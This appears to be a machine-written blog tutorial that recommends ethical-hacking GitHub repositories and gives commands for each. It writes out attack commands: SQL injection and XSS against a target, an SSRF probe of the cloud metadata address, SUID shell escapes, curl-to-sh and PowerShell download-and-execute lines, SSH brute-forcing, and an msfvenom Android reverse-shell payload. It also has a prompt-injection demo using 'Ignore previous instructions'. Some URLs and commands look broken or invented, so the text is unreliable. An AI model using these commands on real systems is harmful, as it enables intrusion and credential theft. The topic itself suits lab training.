Introduction:
Ethical hacking requires more than theory—it demands continuous hands-on practice with real-world tools, payloads, and attack vectors. The GitHub repositories listed by Petros V. provide structured, community-trusted resources covering web security, Linux privilege escalation, OSINT, and even AI security, making them essential for anyone serious about penetration testing or cybersecurity careers.
Learning Objectives:
– Identify and navigate the top 10 GitHub repositories for ethical hacking and CTF challenges.
– Apply Linux/Windows commands and payloads from these repos to perform privilege escalation, web attacks, and evasion.
– Integrate AI security and DFIR techniques into your penetration testing workflow.
You Should Know:
1. Setting Up Your Hacking Lab with HackTricks & The Art of Hacking
HackTricks (https://github.com/HackTricks-wiki/hacktricks) is a living wiki of pentesting methodologies, from initial recon to post‑exploitation. The Art of Hacking (https://github.com/The-Art-of-Hacking/h4cker) by Omar Santos adds thousands of resources on exploit development, DFIR, and AI security. To use these effectively, clone them and build a local knowledge base:
Linux/macOS git clone https://github.com/HackTricks-wiki/hacktricks.git git clone https://github.com/The-Art-of-Hacking/h4cker.git cd hacktricks && python3 -m http.server 8000 browse offline
For Windows, use `git clone` in PowerShell or WSL. Navigate the `h4cker/` directory for cheatsheets on reverse engineering and cloud hardening. Combine both repos: while HackTricks gives attack flows, h4cker provides defensive playbooks (e.g., AWS IAM hardening).
Step‑by‑step lab setup:
– Install VirtualBox or VMware, then deploy a Kali Linux VM.
– Inside Kali, run `sudo apt update && sudo apt install git -y`.
– Clone both repos into `/opt/`. Use `grep` to search for specific techniques, e.g., `grep -r “lateral movement” hacktricks/`.
2. Web Application Attacks Using OWASP Top 10 & PayloadsAllTheThings
OWASP Top 10 (https://github.com/OWASP/Top10) details critical web risks like SQLi, XSS, and SSRF. PayloadsAllTheThings (https://github.com/swisskyrepo/PayloadsAllTheThings) provides ready‑to‑use payloads and bypasses. To practice, set up a vulnerable target (DVWA or Juice Shop) and run these commands:
SQLi payload test (Linux)
sqlmap -u "http://target.com/page?id=1" --dbs --batch
XSS payload from PayloadsAllTheThings
echo '<script>alert("XSS")</script>' | xxd -p | xargs -I{} curl -X POST -d "comment={}" http://target.com/submit
On Windows (PowerShell):
Invoke-WebRequest -Uri "http://target.com/page?id=1' OR '1'='1" -Method Get
Step‑by‑step for SSRF mitigation:
– Use OWASP Top 10 to identify SSRF risks.
– From PayloadsAllTheThings, copy the `SSRF/` directory and test with `curl –data-urlencode “url=http://169.254.169.254/latest/meta-data/” http://target.com/fetch`.
– Mitigate by validating URL schemas and blocking internal IPs in cloud security groups.
3. Linux Privilege Escalation with GTFOBins and HackTricks
GTFOBins (https://gtfobins.github.io/) is a curated list of Unix binaries that can be abused to bypass security restrictions. HackTricks dedicates entire sections to privilege escalation vectors. After gaining low‑privilege shell access, run:
Find SUID binaries find / -perm -4000 2>/dev/null If 'find' has SUID, break out (from GTFOBins) find . -exec /bin/sh \; -quit Check kernel version for known exploits uname -a LinPEAS automation (from HackTricks recommendation) curl -L https://github.com/carlospolop/PEASS-1g/releases/latest/download/linpeas.sh | sh
Step‑by‑step escalation workflow:
1. Enumerate system: `id`, `sudo -l`, `ls -la /etc/cron`.
2. Cross‑reference discovered binaries with GTFOBins.
3. If a vulnerable binary like `vim` is SUID, run `vim -c ‘:!/bin/sh’`.
4. For Windows privilege escalation, use PowerUp.ps1: `powershell -ep bypass -c “IEX(New-Object Net.WebClient).DownloadString(‘https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1’); Invoke-AllChecks”`
4. OSINT and Reconnaissance with Awesome Hacking & Awesome CTF
Awesome Hacking (https://github.com/Hack-with-Github/Awesome-Hacking) is a meta‑list of OSINT, malware analysis, and pentesting tools. Awesome CTF (https://github.com/apsdehal/awesome-ctf) aggregates CTF platforms and write‑ups. To perform passive recon:
theHarvester for email/subdomain enumeration (Linux) theHarvester -d target.com -b google,linkedin -f report.html Amass for subdomain discovery (from Awesome Hacking) amass enum -passive -d target.com -o subdomains.txt
On Windows, use `nslookup` and `Invoke-WebRequest` against Censys or Shodan APIs.
Step‑by‑step OSINT campaign:
– Clone Awesome Hacking and navigate `osint/` sub‑directory.
– Run `sherlock` (username search) and `truffleHog` (GitHub secrets).
– Use Maltego Community Edition (linked in Awesome Hacking) to map relationships.
– For CTF practice, pick a recent challenge from Awesome CTF’s platform list (e.g., picoCTF, HackTheBox) and solve three web/forensics tasks.
5. AI Security and DFIR with The Art of Hacking (h4cker)
The h4cker repository includes notebooks and labs on AI security (adversarial ML, prompt injection) and digital forensics (memory analysis, log correlation). To explore:
Clone and install dependencies for AI security demos git clone https://github.com/The-Art-of-Hacking/h4cker cd h4cker/ai_security pip install -r requirements.txt Run a prompt injection example python3 prompt_injection_demo.py --target "chatgpt" --payload "Ignore previous instructions"
For DFIR on Linux, use `volatility3` (listed in h4cker):
volatility3 -f memory.dump windows.info volatility3 -f memory.dump windows.cmdline
On Windows, use `KAPE` (Kroll Artifact Parser and Extractor) to triage endpoints.
Step‑by‑step AI red‑teaming:
– Review `ai_security/adversarial_ml.ipynb` for gradient‑based attacks.
– Test a local LLM (e.g., Llama 3) with crafted prompts from the repo’s `prompt_injection/` folder.
– Defend by implementing input sanitization and rate limiting in API gateways.
6. Termux Mastery for Mobile Pentesting
The Termux Command Handbook (unofficial, but find on GitHub at `https://github.com/termux/termux-packages` and community wikis) teaches how to run hacking tools on Android. Install Termux from F‑Droid, then:
pkg update && pkg upgrade pkg install nmap hydra metasploit git python git clone https://github.com/HackTricks-wiki/hacktricks Scan local network nmap -sn 192.168.1.0/24 Brute‑force SSH (educational only) hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
Step‑by‑step mobile recon:
– Use Termux with `tshark` (after `pkg install tshark`) to capture Wi‑Fi traffic.
– Run `metasploit` with `msfvenom -p android/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -o payload.apk`.
– Always stay within authorized labs – never on production networks.
7. Structured Pentesting Fundamentals – Cybersecurity Learning Repository
Although not linked directly, the “Cybersecurity Learning Repository” typically refers to `https://github.com/CSbyGB/Cybersecurity-Learning` or similar. It offers a roadmap for beginners: network scanning, vulnerability assessment, and report writing. Combine it with HackTricks for methodology:
Nmap scan from the repo’s guides nmap -sV -sC -T4 target.com -oA full_scan Search for CVEs using searchsploit (from Exploit-DB, referenced in Awesome Hacking) searchsploit apache struts
Step‑by‑step report generation:
– Use `nmap` XML output with `xsltproc` to generate HTML reports.
– Cross‑reference findings with OWASP Top 10 to assign risk ratings.
– Write a remediation plan using templates from h4cker’s `report_templates/`.
What Undercode Say:
– Key Takeaway 1: These 10 GitHub repos transform scattered knowledge into a progressive, hands‑on curriculum—from `GTFOBins` for binary exploitation to `h4cker` for AI security.
– Key Takeaway 2: Real skill comes from lab practice: clone, modify, and break things safely. Combine multiple repos (e.g., `PayloadsAllTheThings` + `HackTricks`) to simulate complex attack chains.
– Analysis (10 lines): The curated list addresses a critical gap in cybersecurity education: actionable, up‑to‑date content. Unlike static courses, these repos evolve with the threat landscape. For example, `h4cker` now includes AI security modules, reflecting the rise of LLM attacks. `GTFOBins` and `HackTricks` save hours of enumeration by providing proven privilege escalation paths. However, beginners risk becoming script‑kiddies if they only copy payloads without understanding the underlying vulnerabilities. The recommended workflow is: read the methodology in `HackTricks`, test with `PayloadsAllTheThings`, then verify with `GTFOBins`. Additionally, combining OSINT from `Awesome Hacking` with cloud hardening tips from `h4cker` creates a full‑spectrum defender mindset. The inclusion of Termux commands also lowers the barrier for mobile pentesting, but users must respect legal boundaries. Overall, these repos are force multipliers—but only if you invest time in building your own lab and documenting every step.
Prediction:
– +1 Demand for hands‑on, repository‑driven cybersecurity training will surge, making traditional certifications less central as employers prioritize demonstrable GitHub‑based portfolios.
– +1 AI security will become a core pillar of ethical hacking curricula; expect more repos like `h4cker` to add dedicated red‑teaming frameworks for LLMs and generative AI.
– -1 The proliferation of readily accessible payload and privilege escalation repos lowers the entry barrier for malicious actors, increasing automated attacks that leverage `GTFOBins`‑style techniques.
– +1 Open‑source collaboration across these repos will accelerate the discovery of novel attack vectors (e.g., cloud SSRF, container escapes), forcing defensive tooling to evolve faster.
– -1 Without rigorous ethical guardrails, novice learners might misuse Termux and payload repositories on unauthorized systems, leading to legal consequences and reputational damage for the ethical hacking community.
